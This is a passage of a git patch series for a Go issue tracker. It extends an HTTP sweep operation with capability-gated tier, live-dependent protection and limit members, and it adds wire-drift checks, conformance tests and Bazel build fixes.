a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -1007,6 +1007,13 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { []string{"$(rootpath :embeddeddolt_race_off)", "-test.v", "-test.count=1", "-test.timeout=19m", "-test.run=^(TestBatchApplyContract|TestLargeBatchApplyWallClock_Embedded|TestLargeBatchApplyStatementCounts712_Embedded|TestCreateBatchFastPathsMatchPerRowLarge_Embedded)$$"}, map[string]string{"BEADS_TEST_EMBEDDED_DOLT": "1"}, }, + // scripts/conformance.sh's Tier 3, the served HTTP corpus, with the + // script's switches: required, so a missing engine fails each served + // case instead of skipping it. + "//internal/httpclient:httpclient_served_test": { + []string{"$(rootpath :httpclient_test)", "-test.v", "-test.count=1", "-test.timeout=19m"}, + map[string]string{"BEADS_HTTP_TEST_REQUIRED": "1", "BEADS_TEST_EMBEDDED_DOLT": "1"}, + }, "//cmd/bd:bd_proxied_test": { []string{"$(rootpath //:.github/scripts/proxied-test-shard.sh)", "BEADS_TEST_CMD_BINARY", "$(rootpath :bd_test)"}, map[string]string{ diff --git a/tools/bazel/BUILD.bazel b/tools/bazel/BUILD.bazel index 2c8fa7459..e35ecd946 100644 --- a/tools/bazel/BUILD.bazel +++ b/tools/bazel/BUILD.bazel @@ -250,6 +250,7 @@ release_cross_build( "//internal/storage/sqlclass:sqlclass", "//internal/storage/sqlcount:sqlcount", "//internal/storage/storagecontract:storagecontract", + "//internal/storage/unsupportedgen:unsupportedgen", "//internal/storage/uow:uow", "//internal/storage/versioncontrolops:versioncontrolops", "//internal/storage:storage", From 2dda7052e07753eae81e413fc21f509d95c685c9 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 8 Oct 2026 16:28:56 +0000 Subject: [PATCH 065/213] =?UTF-8?q?feat(httpclient):=20write-role=20confor?= =?UTF-8?q?mance=20on=20the=20http=20leg=20=E2=80=94=20ceiling=20to=20zero?= =?UTF-8?q?,=20sweeper=20extension=20(S4)=20(#7251)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(httpclient): wire the S4 Sweeper extension (wisps-plane, live-dependent protection, limit) Publish SweepRequest.ProtectLiveDependents and .Limit (plus a wisps-plane tier and SweepResult.Remaining/.LiveDependent) on the v0 wire behind three new behavior-capability tokens (issues.sweep.wispsPlane, issues.sweep.liveDependents, issues.sweep.limit), and wire the client to send them once the handshake advertises the tokens (refuseUnservedSweep otherwise). Retire the two W-SweepRequest ledger rows that previously refused these fields for lack of a wire member. CurrentWireRevision stays at 2. A new wisps-plane SweepRequest.Tier value is a request-only enum widening: it cannot cause an older client to misdecode a response, and it is already gated by its own capability token, so it is additive rather than a wire break. Teach wireshape's drift gate that distinction directly: a Digest.Sides side channel records whether each schema member is request-only, response-only or both, and widensAdditively now treats a request-only enum's new value as additive while still treating any response-side widening as breaking, with tests pinning both directions and a regenerated golden.json. min_client_wire_revision stays 0. internal/httpapi/apigen/types.gen.go and openapi.v0.yaml's comments are regenerated/updated to match (make api-gen). Six served Sweeper contracts that were parked now run for real against the in-process HTTP server; TestSweepSendsTheS4MembersOnceTheServerAdvertisesThem pins the capability-gated encode. Re-review fix: walk()'s side classification short-circuited on a name-only visited set, so a node already walked from one side never had its CHILDREN walked again when a later path promoted the parent to "both" — children stayed classified under whichever side reached them first, order-dependent on Go's map iteration. Side recursion is now guarded per (schema, side) pair (sideWalked, keyed on name+"\x00"+side) instead of per schema name alone, so a child reachable from both sides is always walked, and therefore recorded, from both. Added TestSidePropagatesToNestedChildren (a named grandchild and an inline nested child both reachable from a request body and, via a wrapper, a response, assert "both" on every level and that widening either enum breaks instead of being classed additive), TestEnumWideningOnSharedNestedChildIsNotAdditive, and TestComputeFromSideAssignmentIsDeterministic (200 runs, asserts identical Sides/Entries every time). golden.json is confirmed unchanged by the fix (regenerated and diffed byte-for-byte). Also removes a bd-enterprise mention introduced in this slice's own write_ledger_test.go comment (not a provenance header) in favor of neutral wording. Co-Authored-By: Claude Sonnet 5 * fix(storage): ratchet the http leg's role-contract ceiling to zero Classify all 42 previously-ceilinged http-leg entrypoints and clear the ceiling: - ExpectedRevision + Refusal (10): wire a Phase-0 all-nil fixture, matching every other backend's current (unbuilt-CAS-feature) state. Said honestly: these ten entrypoints are counted here, the hook is unbuilt on every leg (not just this one), and every case runs zero assertions until a CompareAndSetVersion wire operation exists for this client to bind. - Lifecycle ExpectedVersion concurrency (4): wire the two races that land on Priority/Notes and on Close for real over the served HTTP harness (precondition_failed decodes to storage.ErrVersionMismatch via errors.Is, same as the local legs). The other two, which race IssuePatch.SpecID/.AwaitID/.Owner edits against updateIssue, stay waived, but PENDING rather than permanent: IssuePatchBody refuses those three fields outright (W-IssuePatch.SpecID/.AwaitID/.Owner, D8 refuse-not-drop) rather than ever sending them, so the race never reaches the wire today. Closing the gap means publishing those fields on the wire, tracked as a follow-up slice, S4b: publish owner/spec_id/await_id on the wire. - DualWrite (6): wired for real instead of waived. Mutate and MutateAsNoOp drive the client's Lifecycle role (Create/Update) against an in-process served harness with its own reference store, so VersionedHistoryConfigurer can be toggled per fixture; CurrentRevision, VersionRowCount and LatestVersionAttribution read the reference store's raw columns the same way every other served fixture's postcondition hooks do. All six FR-1/FR-2/FR-3/FR-5/FR-7 cases (one version row per accepted mutation, no-op skip, atomic attribution, current_revision parity, and flag-off producing no rows) now run and pass. - VersionReconciler + InitVerifier (13), and the raw IssueOperationsUpdate seam (3): waived — unservable over a typed HTTP role boundary, not a wiring gap. adoptionCeiling: 42 -> 0 for the http leg; the "adopting" field is removed (a zero ceiling with a reason is a registry error) since every remaining gap is now a named waiver, PENDING or permanent as stated above, instead of a budgeted unnamed one. Also deletes the scratch zzz_dump_missing_test.go used to enumerate the ceiling during triage. Re-review fix: the shared conformance attribution case only asserts change_actor is non-empty (it runs across every leg, each with a different literal Mutate actor). The http fixture's own Mutate always sends Actor: "writer", so this leg's AttributionIsRecordedWithTheMutation subtest now also mutates a second, independent issue and asserts the recorded actor equals exactly "writer", in addition to the shared non-empty check. Co-Authored-By: Claude Sonnet 5 * fix(types): make ParseRevisionToken the exact inverse of FormatInt ParseRevisionToken's doc comment already promised it accepts exactly what RevisionToken emits, but strconv.ParseInt alone is looser than that: besides a leading "+" that FormatInt never produces, it also accepts a leading zero on a digit string longer than one character ("007") and the literal "-0" — none of which FormatInt ever emits (FormatInt(0, 10) is always "0", never "-0", and it never pads a digit run). A caller is only ever supposed to echo a token a response carried, so any of these is a client that invented a value rather than a server this client should follow; reject them explicitly instead of accepting them silently. Pins the string<->int64 boundary with TestParseRevisionTokenRejectsMalformedTokens, covering empty strings, fractional/exponent spellings, leading "+", surrounding whitespace, non-decimal bases, one-past-int64-boundary values, non-ASCII digits, and now "007", "-007" and "-0". Co-Authored-By: Claude Sonnet 5 * fixup(wireshape): guard widensAdditively against "no enum before" bee-ghosttrack / CHANGES_REQUESTED on #7251: widensAdditively required len(new.Enum) > len(old.Enum), which holds vacuously when the old side has no enum at all (a free `type: string`). That let a request-only member go from unconstrained to a fixed enum at the same wire_revision -- the opposite of widening, since the server now 400s a value an old client could send yesterday. Add the guard `len(old.Enum) == 0 || len(new.Enum) <= len(old.Enum) -> false` so the no-enum-before case falls through to the ordinary non-additive Changed path, same as a strict narrowing. Add a pinning case to TestEnumWideningAdditivity and extend the doc comment. Also reword the ExpectedRevision contract file comment from "runs ZERO assertions" to "SKIPS", per the reviewer's note that the Run* helpers t.Skip when CompareAndSetVersion is nil -- it's a skip, not an assertion-free run. Co-Authored-By: Claude Sonnet 5 * docs(httpclient): regenerate the divergence ledger after rebasing onto #7247's review fixes Co-Authored-By: Claude Opus 5.5 (1M context) * test(httpclient): Sweep Limit now refuses on the missing issues.sweep.limit capability #7247's review round pinned Sweep{Limit} as an encoder refusal. With S4 the wire carries limit behind issues.sweep.limit, so against a server without the token the refusal is a pre-dial capability refusal: still *storage.ErrUnsupported for this backend, now naming the capability. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(httpapi,httpclient): name the invalid_value refusal; add tests to Bazel Maintainer fixup for the review of #7251 (iteration 1). There are no blocker or major findings. This applies the three optional findings that both reviewers reported. - Eight comment and description sites added by this PR say that an older server refuses an unpublished `tier` (or S4) member with `unknown_value`. No such reason exists. The server refuses with ReasonInvalidValue = "invalid_value" (internal/httpapi/problem.go), and sweep.go uses it for a bad tier. The sites are in openapi.v0.yaml, apigen/types.gen.go (regenerated by `make api-gen`), routes.go, sweeper.go and wire/handshake.go. The base has none of them, so this only corrects the PR's own text. A client author now matches the token the server actually sends. - wire/handshake.go said the tier member carries no ledger row because it "narrows" an existing enum. Adding a value widens the accepted set, so the word is now "widens". - internal/httpclient/BUILD.bazel: add expected_revision_contract_test.go and served_dualwrite_history_test.go to the httpclient_test srcs. Both files are new in this PR. Without the entries, `go test` runs them but no Bazel lane compiles them. The srcs list now matches the package's files, and the existing deps already cover their imports. Provenance: this is the residue of the stranded fixup cad1cf02a2 from the previous adoption of this PR, replayed onto the current head. Its patch-id (b62e7d6d5562) is identical to that reviewed residue. That fixup's widensAdditively guard and SKIP-message nit are not repeated here. The author already landed both in b3f1516e55 (d41f317e0a after the rebase). Validation: git diff --check; make api-gen (no-op) and make api-check; go build, go vet and gofmt on internal/httpapi/... and internal/httpclient/...; go test for internal/httpclient/wire, internal/httpclient/encode and test/docsync; the httpclient Sweep* and TestExpectedRevisionContract tests; the served dual-write tests with BEADS_TEST_EMBEDDED_DOLT=1; and tools/bazel/go_srcs.py --check. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 * docs(httpclient): regenerate the divergence ledger on main after #7247 merged Co-Authored-By: Claude Opus 5.5 (1M context) * fix(httpclient): give encode_test the httpclient tests its pin check reads Maintainer fixup for the pre-review CI of #7251. Bazel / test and Bazel / integration (PR run 37781419956) each fail one target, //internal/httpclient/encode:encode_test, which also fails CI Gate / Required. TestLedgerRowsAreWellFormed reports that rows W-SweepRequest.ProtectLiveDependents and W-SweepRequest.Limit are pinned by TestSweepSendsTheS4MembersOnceTheServerAdvertisesThem, which is "neither a test in this package nor a TODO()". The pin is right. The test lives in internal/httpclient/bulk_roles_test.go. testFunctionsInThisPackage collects test names from ".", ".." and ../../../cmd/bd, but the data of encode_test declares only its own sources, //cmd/bd:go_srcs, the ledger doc and the OpenAPI spec. Under Bazel, ".." exists in the runfiles but holds no _test.go files, so the walk silently finds nothing there. go test reads the real directory and passes. This PR changes neither the walk nor the BUILD file. Every pin on main resolves from this package or cmd/bd, which is why main is green. These two rows are the only ones pinned to a test that exists only in internal/httpclient. The red stayed hidden until now because the PR sat on a stacked base. PR CI, including the Bazel lanes, runs only for PRs against main, release/** and hotfix/**. Declare //internal/httpclient:go_srcs as data, so Bazel sees the files that go test reads. The filegroup already exists with //:__subpackages__ visibility. The pins stay on the test that actually covers the S4 members. Validation: bazel test //internal/httpclient/encode:encode_test --config=ci --nocache_test_results, run two ways. In the local processwrapper sandbox (--remote_executor= --strategy=TestRunner=processwrapper-sandbox) the same command fails both rows without this change and passes with it. It also passes on the remote executor. Plus tools/bazel/go_srcs.py --check, gazelle -mode=diff on the package (no change), git diff --check, and go test ./internal/httpclient/encode/. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 * fix(httpapi): pin the S4 sweep members at the wire edge, gate golden sides The `sides` map this change adds to golden.json predates schemas main gained since (#7248's BatchGetIssue*, BatchGetIssuesRequest* and BatchGetIssuesResult*, plus IssueDetails.gated_by[]), so the rebase left it 9 schemas short of what gendigest writes, and goldenDrift never compared Sides, so nothing noticed. Regenerated (+9 sides lines, no entry changes), and goldenDrift now fails with the regenerate instruction when the golden's sides disagree with a fresh digest; TestGoldenDrift drives that arm three ways. The SweepSkips description still called the first two buckets protections and the last four defenses, which filed the new live_dependent protection under the defenses. It now names pinned, referenced and live_dependent as the protections (apigen regenerated: the two comment copies only), and handleSweep's comment counts eight members. internal/httpapi's sweep pins stopped at the original six members: nothing there sent protect_live_dependents or limit, refused a mistyped one, or read live_dependent or remaining back. The forward, refuse and publish tests now cover all four, and TestSweepResponseCarriesEveryRoleField, named by sweepResponse's comment but never written, counts both projection levels and requires every wire field populated from a fully set role result. The httpclient Sweep defer comment described ProtectLiveDependents/Limit refusal paths this change replaced with capability gates; it now says why the pass-through defer stays. Validation: go test ./internal/httpapi/... ./internal/httpclient/... (CGO, gms_pure_go), the served sweeper tier with BEADS_TEST_EMBEDDED_DOLT=1 (19/19 pass, none skipped), make api-check, go vet, git diff --check, and bazel test --config=ci on httpapi_test, wireshape/..., httpclient_test, encode_test and types_gen_drift_test. Mutants, each restored: disabling the sides arm reds three TestGoldenDrift arms; the pre-fix golden reds TestWireShapeDigest naming the 9 schemas; dropping the live_dependent or remaining projection, the protect_live_dependents decode, or the limit assignment each reds its new pin. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Sonnet 5 --- engdocs/design/http-divergence-ledger.md | 6 +- internal/httpapi/apigen/types.gen.go | 49 +++- internal/httpapi/routes.go | 35 ++- internal/httpapi/server_test.go | 3 +- internal/httpapi/spec/openapi.v0.yaml | 78 +++++- internal/httpapi/sweep.go | 38 ++- internal/httpapi/sweep_test.go | 75 +++++- .../httpapi/wireshape/testdata/golden.json | 172 ++++++++++++- internal/httpapi/wireshape/wireshape.go | 176 +++++++++++--- .../wireshape/wireshape_internal_test.go | 228 ++++++++++++++++++ internal/httpapi/wireshape/wireshape_test.go | 200 +++++++++++++-- internal/httpclient/BUILD.bazel | 2 + internal/httpclient/bulk_roles_test.go | 138 ++++++++++- internal/httpclient/encode/BUILD.bazel | 1 + internal/httpclient/encode/ledger.go | 34 +-- .../expected_revision_contract_test.go | 58 +++++ internal/httpclient/roles_test.go | 12 +- internal/httpclient/served_bulk_test.go | 41 ++++ .../httpclient/served_claim_lifecycle_test.go | 27 +++ .../served_dualwrite_history_test.go | 147 +++++++++++ internal/httpclient/sweeper.go | 102 +++++--- internal/httpclient/wire/handshake.go | 50 +++- internal/httpclient/wire/vocabulary_test.go | 17 +- internal/httpclient/write_ledger_test.go | 24 +- .../storage/contract_leg_registry_test.go | 22 +- internal/storage/leg_contract_wiring_test.go | 99 ++++++++ internal/types/types.go | 26 +- internal/types/types_test.go | 29 +++ 28 files changed, 1714 insertions(+), 175 deletions(-) create mode 100644 internal/httpclient/expected_revision_contract_test.go create mode 100644 internal/httpclient/served_dualwrite_history_test.go diff --git a/engdocs/design/http-divergence-ledger.md b/engdocs/design/http-divergence-ledger.md index 0b6c4c931..78bbb101b 100644 --- a/engdocs/design/http-divergence-ledger.md +++ b/engdocs/design/http-divergence-ledger.md @@ -47,7 +47,7 @@ the behavior. ## Summary -264 rows: 209 refuse, 33 degrade, 22 retired. +264 rows: 207 refuse, 33 degrade, 24 retired. ## Whole-behavior divergences (D9 ledger) @@ -138,8 +138,8 @@ Role-request fields on the served writes that the v0 wire publishes no member fo | W-DepAddItem.ThreadID | refuse | `DepAddItem.ThreadID` | associating an edge ITEM with a discussion thread refuses | ApplyDepAddItem publishes no thread member, and no operation on this surface does: W-CreateDependency.ThreadID refuses the same column on both create edges. Dropping it would store the edge with no thread, so a replies-to edge would lose the conversation it was written for. It is a row of its own rather than a citation of that one for W-CreateItem.Issue's reason: the operation is different | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | W-IssuePatch.Labels | retired | `IssuePatch.Labels` | RETIRED — the whole ordered label edit crosses: `labels` replaces, `add_labels` adds, `remove_labels` removes | upstream #5510 published add_labels and remove_labels on IssuePatchBody and client wave ga-jpywb emits both, which is the retirement path this row named. The three travel as FLAT siblings where applyBatch nests them under one object, and the server assembles all three into ONE issueops.LabelPatch — so the algebra the role states (replace, then add, then remove; removal wins) is applied server-side and is never this client's to arrange. WHAT THE REFUSAL WAS PROTECTING is worth keeping after the refusal is gone: degrading an incremental edit onto the replace-only member would have meant reading the set, adding to it and writing it back, which silently drops any label another writer added in between. `bd label add` and every agent that tags work concurrently are exactly that caller, so the refusal was right for as long as the members did not exist — and it is the members that retire it, not a change of mind about the read-modify-write | D8 refuse-not-drop, open questions (tracked-refusal roadmap) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | W-CloseBatchRequest.ClaimNext | refuse | `CloseBatchRequest.ClaimNext` | folding an atomic claim-after-close onto a batch close refuses | batchCloseIssues publishes actor, force, items and session only — no claim_next member exists for this client to encode a ReadyRequest into, and none exists on the response for a claimed issue to decode back out of. Dropping the field silently would answer a caller's claim-after-close with a close that quietly never claimed anything; see W-CreateBatchRequest.Provenance for the same refuse-not-drop reasoning applied to an absent wire member. Deferred: S13 schedules ReadyLister (and with it, the ready-side plumbing a composed claim would need); no slice currently schedules claim_next itself | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | -| W-SweepRequest.ProtectLiveDependents | refuse | `SweepRequest.ProtectLiveDependents` | protecting live structural dependents during a sweep refuses | sweepIssues publishes dry_run, tier, closed_before, pattern, protect_referenced and actor only; no protect_live_dependents member exists for this client to send, and the server has no stored-edge lookup to run on this client's behalf. `bd purge` from a local workspace still gets the protection; over http it must ask without it or not at all | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | -| W-SweepRequest.Limit | refuse | `SweepRequest.Limit` | bounding one sweep call and draining a backlog over several refuses | sweepIssues publishes no limit member and SweepResult publishes no remaining member for a bounded caller to loop on; a non-zero Limit refuses before the dial rather than running the unbounded sweep silently. issueops.SweepResult.Remaining is therefore always zero from this client — not a dropped count, since nothing bounded the call that would have left one | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-SweepRequest.ProtectLiveDependents | retired | `SweepRequest.ProtectLiveDependents` | protecting live structural dependents during a sweep used to refuse | RETIRED by the S4 wire extension that sends it. The gap was always the DOCUMENT's rather than a decision: the local Sweeper role carries a structural-dependent protection alongside the referenced-citation one, and apigen.SweepRequest had no protect_live_dependents member for this client to narrow onto, so sending `true` and silently dropping it would have run an UNPROTECTED sweep while the caller believed the structural guard was active. The spec now publishes `protect_live_dependents` (and SweepSkips.live_dependent on the response) behind its own behavior-capability token, issues.sweep.liveDependents, because it is a parameter added to an operation that already shipped. The client sends it only once the handshake advertises the token and refuses locally, before the dial, when it does not — see refuseUnservedSweep (sweeper.go) and W-SweepRequest.Limit for the sibling member closed the same way | D8 refuse-not-drop | TestSweepSendsTheS4MembersOnceTheServerAdvertisesThem | +| W-SweepRequest.Limit | retired | `SweepRequest.Limit` | bounding one sweep call and draining a backlog over several used to refuse | RETIRED by the S4 wire extension that sends it (with W-SweepRequest.ProtectLiveDependents). The local Sweeper role bounds one sweep call and reports the remainder back; apigen.SweepRequest and SweepResult carried neither a limit member to send nor a remaining member to read one back from, so a dropped Limit would have run the UNBOUNDED sweep the caller asked to cap, in one transaction. The spec now publishes `limit` on the request and `remaining` on the response behind issues.sweep.limit. The client sends Limit only once the handshake advertises that token and refuses locally otherwise; issueops.SweepResult.Remaining now carries the server's count rather than always reading zero | D8 refuse-not-drop | TestSweepSendsTheS4MembersOnceTheServerAdvertisesThem | ## Command and flag refusals (D7) diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index 9cf8b8868..f5cecef32 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -81,8 +81,9 @@ func (e HealthStatus) Valid() bool { // Defines values for SweepRequestTier. const ( - Durable SweepRequestTier = "durable" - Ephemeral SweepRequestTier = "ephemeral" + Durable SweepRequestTier = "durable" + Ephemeral SweepRequestTier = "ephemeral" + WispsPlane SweepRequestTier = "wisps-plane" ) // Valid indicates whether the value is a known member of the SweepRequestTier enum. @@ -92,6 +93,8 @@ func (e SweepRequestTier) Valid() bool { return true case Ephemeral: return true + case WispsPlane: + return true default: return false } @@ -1034,7 +1037,7 @@ type ContextResponse struct { // OPTIONAL, and absent means only that this server does not disclose its filesystem layout — never that it has no workspace. A client MUST NOT require it, MUST NOT treat absence as an error, and has no use for the value beyond display: it is a path on the SERVER's filesystem, which the client cannot open. Identify the workspace by `project_id` and `database`, which are required. BeadsDir *string `json:"beads_dir,omitempty"` - // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. + // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four, `issues.sweep.wispsPlane`, which announces that `POST /v0/beads/issues:sweep` accepts the `wisps-plane` value of `tier` rather than silently answering `invalid_value`, `issues.sweep.liveDependents`, which announces that the same operation accepts `protect_live_dependents` and answers `skipped.live_dependent` rather than silently answering `unknown_parameter`, and `issues.sweep.limit`, which announces that it accepts `limit` and answers `remaining` rather than silently answering `unknown_parameter`. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. // // THIS LIST IS BUILD-LEVEL, NOT WORKSPACE-LEVEL. It says which operations this binary serves, and for every entry but two that is the whole answer. `events.list` and `events.watch` are the exceptions: the durable events journal is a per-workspace setting that is OFF by default, so a server that advertises them may still refuse every request to both with 409 `events_journal_disabled` — correctly, because the operations exist and the workspace has no journal. A consumer of either MUST treat the capability as "this server speaks it" and the 409 as "not on this workspace", and must not read the capability as a promise that records will arrive. Capabilities []string `json:"capabilities"` @@ -1074,7 +1077,25 @@ type ContextResponse struct { // had moved underneath it. That silent gap is the whole reason // this field exists. // * `2` — the first release whose `ContextResponse` carries - // `wire_revision` and `min_client_wire_revision` at all (this one). + // `wire_revision` and `min_client_wire_revision` at all. Still + // current: S4 widened `SweepRequest.tier`'s enum to add + // `wisps-plane` and added `protect_live_dependents` and `limit` + // alongside it, and none of the three bumped this counter. + // `SweepRequest` is a REQUEST-body-only schema — no response ever + // carries it — so nothing decodes it out of a server reply; the + // new enum member and the two new fields are each something only + // an UPDATED CLIENT chooses to send, behind their own behavior + // tokens (`issues.sweep.wispsPlane`, `issues.sweep.liveDependents`, + // `issues.sweep.limit`). An old client that never sends any of the + // three has nothing to misdecode, which is exactly the additive + // case this field exists to NOT gate. The wireshape drift gate + // (`internal/httpapi/wireshape`) tracks, per member, whether it is + // reachable from a request body, a response, or both, and treats + // an enum WIDENING as additive only on a request-only member — + // the identical widening on a response-side (or request+response) + // member still counts as changed and still demands a bump, since + // an existing client decoding a response must keep recognizing + // every value the server might send it. // // // PRESENCE, not just value: a generated client whose JSON decoder zero-values a missing integer field cannot tell, by looking at a decoded `0` alone, whether the server SENT `0` or sent nothing. This is never actually ambiguous in practice, because `0` and `1` are PERMANENTLY RETIRED values — they describe servers that predate this field or carried the brief interim string shape, and no server that implements this field (`CurrentWireRevision` starts at `2` and only increases) will ever legitimately send a literal `0` or `1`. A decoded `0` can therefore only mean "this server omitted the field," and a client inferring from `bd_version` per the paragraph below is doing exactly the right thing in that case, never guessing at a value the field could have meant on its own. A client that wants presence as a first-class fact rather than an inference anyway should decode `wire_revision` into a nullable type, or check for the JSON key's presence directly, instead of relying on this retirement guarantee. @@ -1937,9 +1958,15 @@ type SweepRequest struct { // DryRun Report what the sweep WOULD do and delete nothing. The counts, the skips and the refusals are the same ones the real sweep would produce, computed against the same snapshot — and nothing is recorded in history either. DryRun *bool `json:"dry_run,omitempty"` + // Limit Cap how many beads this sweep deletes, OLDEST-CLOSED-FIRST. Absent or zero means unbounded. A negative value is a `400` invalid_argument, the same as the role's own ErrValidation. Behind the `issues.sweep.limit` behavior token: an older server answers `unknown_parameter` for this name. + Limit *int64 `json:"limit,omitempty"` + // Pattern Keep only beads whose id matches this shell glob (`*`, `?`, `[...]`, `\` escapes; `*` also crosses `-` and `.`, since an id is not a path). Absent matches every bead in the tier. A MALFORMED glob is a `400`, never a pattern that matches nothing. Pattern *string `json:"pattern,omitempty"` + // ProtectLiveDependents Skip a closed candidate that a LIVE (not-done) bead depends on through a parent/child, tracks, or blocks edge, so closing a dependent's dependency does not erase the row a live bead still points at. Protection is TRANSITIVE and crosses the ephemeral/durable plane boundary. Behind the `issues.sweep.liveDependents` behavior token: an older server answers `unknown_parameter` for this name. + ProtectLiveDependents *bool `json:"protect_live_dependents,omitempty"` + // ProtectReferenced Skip candidates whose id is CITED — as a literal, at word boundaries — in the description, notes or comments of any bead that is not done, so a decision trail a live bead still points at is not deleted out from under it. // // It DEFAULTS ON here, unlike the library default, and that is deliberate. This is the only destructive operation on the surface, and the bearer a deployment may configure is not a per-caller right: one shared token admits a client to everything published here, so being authenticated says nothing about whether this particular deletion was meant. A caller that omits the member must therefore not get weaker protection than the operator typing `bd prune`, which protects unless `--ignore-references`. The inverse — opt OUT locally, opt IN remotely — is the shape that lets a stray request delete a decision trail nothing brings back. @@ -1948,10 +1975,14 @@ type SweepRequest struct { ProtectReferenced *bool `json:"protect_referenced,omitempty"` // Tier Which plane to clear. `ephemeral` is the wisp tier (`bd purge`) and `durable` is the issue tier (`bd prune`). The two are DISJOINT: a sweep of one can never touch a bead of the other. Required, with no default — a caller handed the wrong tier has nothing to notice until the beads are gone. + // + // `wisps-plane` is a THIRD, wider tier: it clears the whole wisps table (ephemeral beads) AND any durable bead with no history row, in one pass. Behind the `issues.sweep.wispsPlane` behavior token: an older server answers `invalid_value` for this member, since it predates the token and knows only the first two values. Tier SweepRequestTier `json:"tier"` } // SweepRequestTier Which plane to clear. `ephemeral` is the wisp tier (`bd purge`) and `durable` is the issue tier (`bd prune`). The two are DISJOINT: a sweep of one can never touch a bead of the other. Required, with no default — a caller handed the wrong tier has nothing to notice until the beads are gone. +// +// `wisps-plane` is a 